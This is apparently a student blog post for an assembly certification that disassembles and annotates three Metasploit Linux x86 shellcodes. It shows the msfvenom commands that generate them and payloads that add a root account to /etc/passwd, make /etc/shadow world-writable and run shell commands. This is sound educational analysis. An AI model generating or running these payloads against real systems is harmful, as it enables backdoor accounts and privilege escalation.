Part five of seven of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments requires me to take three shellcodes from metasploit for linux/x86 and analyse them using gdb/ndisasm.
I have done the three analysis' and they can be found below;
https://github.com/pabb85/SLAE/blob/master/linux-x86-adduser_analysis ;
https://github.com/pabb85/SLAE/blob/master/linux-x86-chmod_analysis ;
https://github.com/pabb85/SLAE/blob/master/linux-x86-exec_analysis ;
Awesome, on to the next challenge :-)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.
I have done the three analysis' and they can be found below;
https://github.com/pabb85/SLAE/blob/master/linux-x86-adduser_analysis ;
paul@SLAE001:~$ msfvenom -p linux/x86/adduser -o linux-x86-adduser.bin -f raw
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Saved as: linux-x86-adduser.bin
paul@SLAE001:~$ ndisasm -p intel linux-x86-adduser.bin
00000000 31C9 xor cx,cx <-- clear cx
00000002 89CB mov bx,cx <-- clear bx
00000004 6A46 push byte +0x46 <-- push 0x46 (decimal 70) onto the stack
00000006 58 pop ax <-- pop the 70 into ax
00000007 CD80 int 0x80 <-- invoke system call 70, setreuid(0, 0)
00000009 6A05 push byte +0x5 <-- push 5 onto the stack
0000000B 58 pop ax <-- pop the 5 into ax
0000000C 31C9 xor cx,cx <-- unnecessarily clear cx...
0000000E 51 push cx <-- push null onto the stack
0000000F 687373 push word 0x7373 <-- push sswd
00000012 7764 ja 0x78 <-- ndisasm gets it wrong here, the 0x68 opcode is used for either push word or dword
00000014 682F2F push word 0x2f2f <-- push //pa
00000017 7061 jo 0x7a <-- another opcode 0x68 misinterpretation
00000019 682F65 push word 0x652f <-- push /etc
0000001C 7463 jz 0x81 <-- another opcode 0x68 misinterpretation
0000001E 89E3 mov bx,sp <-- point bx to the top of the stack, to the string /etc//passwd
00000020 41 inc cx <-- increment cx to 1
00000021 B504 mov ch,0x4 <-- move 4 into ch, making cx 0x41, equivalent to O_WRONLY|O_APPEND flag to open()
00000023 CD80 int 0x80 <-- invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND)
00000025 93 xchg ax,bx <-- switch ax and bx, so ax=pointer to '/etc//passwd', bx=the fd for the open file
;inserted \xcc\xcc here to allow inspection with gdb during analysis...
00000026 E82800 call word 0x51 <-- call 0x51, jumps to 0x53 according to gdb
The folowing looks like an ASCII data section, a string of '\0\0metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh'
00000029 0000 add [bx+si],al <-- null padding
0000002B 6D insw <-------------- String between 0x2d and 0x52
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsw
00000033 69743A417A imul si,[si+0x3a],word 0x7a41
00000038 2F das
00000039 6449 fs dec cx
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push dx
00000042 633A arpl [bp+si],di
00000044 303A xor [bp+si],bh
00000046 303A xor [bp+si],bh
00000048 3A2F cmp ch,[bx]
0000004A 3A2F cmp ch,[bx]
0000004C 62696E bound bp,[bx+di+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A <-------------- String between 0x2d and 0x52
...At this point, as I've cut into what ndisasm thought was an instruction, I'll restart the disassembly to make the output cleaner and avoid having to try and re assemble the opcodes...
paul@SLAE001:~$ ndisasm -k 0,83 linux-x86-adduser.bin
00000000 skipping 0x53 bytes
00000053 59 pop cx <-- pop return address into cx (points to start of string at 0x2d)
00000054 8B51FC mov dx,[bx+di-0x4] <-- gdb says: edx,DWORD PTR [ecx-0x4], ecx-4 is loc 0x27 which contains 0x28
00000057 6A04 push byte +0x4 <-- push 4
00000059 58 pop ax <-- pop 4 into ax
0000005A CD80 int 0x80 <-- invoke system call 4, write(fd, string, 0x28) - 0x28 is buffer length
0000005C 6A01 push byte +0x1 <-- push 1
0000005E 58 pop ax <-- pop 1 into ax
0000005F CD80 int 0x80 <-- invoke system call 1, exit()
So, in summary;
invoke system call 70, setreuid(0, 0) - Get back any dropped privs
invoke system call 5, open('/etc//passwd', O_WRONLY|O_APPEND) - open /etc/passwd for writing
jump over the string to be written
invoke system call 4, write(fd, string, 0x28) - write a new entry for a new user
invoke system call 1, exit() - exit gracefully
There's certainly some room for size optimisation here, does the graceful exit need to be there, for example?
Also, need to consider that most modern systems use /etc/shadow for the password hashes.
https://github.com/pabb85/SLAE/blob/master/linux-x86-chmod_analysis ;
paul@SLAE001:~$ msfvenom -p linux/x86/chmod -o linux-x86-chmod.bin -f raw
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Saved as: linux-x86-chmod.bin
paul@SLAE001:~$ ndisasm -p intel linux-x86-chmod.bin
00000000 99 cwd <-- convert word to double, puts the MSB of ax across all bits of dx, maybe assumes a 0
00000001 6A0F push byte +0xf <-- push 0xf
00000003 58 pop ax <-- pop 0xf into ax, decimal 15
00000004 52 push dx <-- push dx (null if MSB of ax was 0)
00000005 E80C00 call word 0x14 <-- save return address, jump to 0x16
Bet the following is a string... Yup, it's '\0\0/etc/shadow'
00000008 0000 add [bx+si],al <-- null padding
0000000A 2F das <-------------- String between 0xa and 0x14
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popaw
00000012 646F fs outsw
00000014 7700 ja 0x16 <-------------- String between 0xa and 0x14
00000016 5B pop bx <-- pop return address into cx (points to start of string at 0xa)
00000017 68B601 push word 0x1b6 <-- push 0x000001b6, octal 666
0000001A 0000 add [bx+si],al <-- another opcode 0x68 misinterpretation, ignore this
0000001C 59 pop cx <-- pop octal 666 into cx
0000001D CD80 int 0x80 <-- invoke system call 15, chmod('/etc/shadow', 666)
0000001F 6A01 push byte +0x1 <-- push 1
00000021 58 pop ax <-- pop 1 into ax
00000022 CD80 int 0x80 <-- invoke system call 1, exit()
In summary;
invoke system call 15, chmod('/etc/shadow', 666)
invoke system call 1, exit()
There are a few things to note about this shellcode - if when it begins the MSB of the ax register isnt 0, chances are it won't work as expected.
Also, no setreuid call means that modern kernels which drop privs will likely break this shellcode.
https://github.com/pabb85/SLAE/blob/master/linux-x86-exec_analysis ;
paul@SLAE001:~$ msfvenom -p linux/x86/exec -o linux-x86-exec.bin -f raw CMD=ls
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Saved as: linux-x86-exec.bin
paul@SLAE001:~$ ndisasm -p intel linux-x86-exec.bin
00000000 6A0B push byte +0xb <-- push b, decimal 11
00000002 58 pop ax <-- pop b into ax
00000003 99 cwd <-- effectively nulls-out dx
00000004 52 push dx <-- push null
00000005 66682D6389E7 push dword 0xe789632d <-- push two bytes junk then two bytes '-c', not sure why the junk..
;the following few instructions get messed up so ill rewrite them
0000000B 682F73 push word 0x732f <-- another opcode 0x68 misinterpretation, ignore this
0000000E 680068 push word 0x6800 <-- another opcode 0x68 misinterpretation, ignore this
00000011 2F das
;rewritten looks like this
0000000B 68 2F73 6800 push word 0x0068732f <-- push '/sh\0'
00000010 68 2F62 696e push word 0x696e622f <-- push '/bin'
00000015 89E3 mov bx,sp <-- mov stack pointer into bx
00000017 52 push dx <-- push another null
00000018 E80300 call word 0x1e <-- save return address and jump to 0x20
;Bet this is a string... Yup, its '\0\0ls\0'
0000001B 0000 add [bx+si],al <-- null padding
0000001D 6C insb <-- 'ls\0'
0000001E 7300 jnc 0x20
00000020 57 push di <-- push di, which points to '-c'
00000021 53 push bx <-- push bx, which points to '/bin/sh'
00000022 89E1 mov cx,sp <-- mov stack pointer to cx
00000024 CD80 int 0x80 <-- invoke system call 11, execve('/bin/sh', ['/bin/sh', '-c', 'ls'])
In summary, build up an array of pointers on the stack for the cx argument, so slightly more complicated than just loading up the registers.
Not sure why they are using the dword with junk instead of just pushing the '-c' on as a word or how edi gets populated but will research this further...
Awesome, on to the next challenge :-)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.